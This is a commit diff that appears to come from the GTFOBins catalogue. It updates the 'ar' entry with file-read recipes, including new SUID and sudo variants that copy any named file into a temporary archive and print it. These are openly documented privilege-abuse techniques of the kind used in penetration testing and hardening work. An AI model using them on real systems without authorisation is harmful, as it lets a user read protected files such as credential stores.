Fix ar and add suid and sudo

This commit is contained in:
Andrea Cardaci 2021-01-17 23:32:44 +01:00 committed by GitHub
parent f7ff2ea852
commit bed198068f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,9 +1,22 @@
--- ---
description: The file appears amid the binary content of the archive.
functions: functions:
file-read: file-read:
code: | code: |
OUTFILE=$(mktemp -u) OUTFILE=$(mktemp -u)
LFILE=file_to_read LFILE=file_to_read
ar r "${OUTFILE}" "${LFILE}" ar r "$OUTFILE" "$LFILE"
cat "${OUTFILE}" cat "$OUTFILE"
suid:
code: |
OUTFILE=$(mktemp -u)
LFILE=file_to_read
./ar r "$OUTFILE" "$LFILE"
cat "$OUTFILE"
sudo:
code: |
OUTFILE=$(mktemp -u)
LFILE=file_to_read
sudo ar r "$OUTFILE" "$LFILE"
cat "$OUTFILE"
--- ---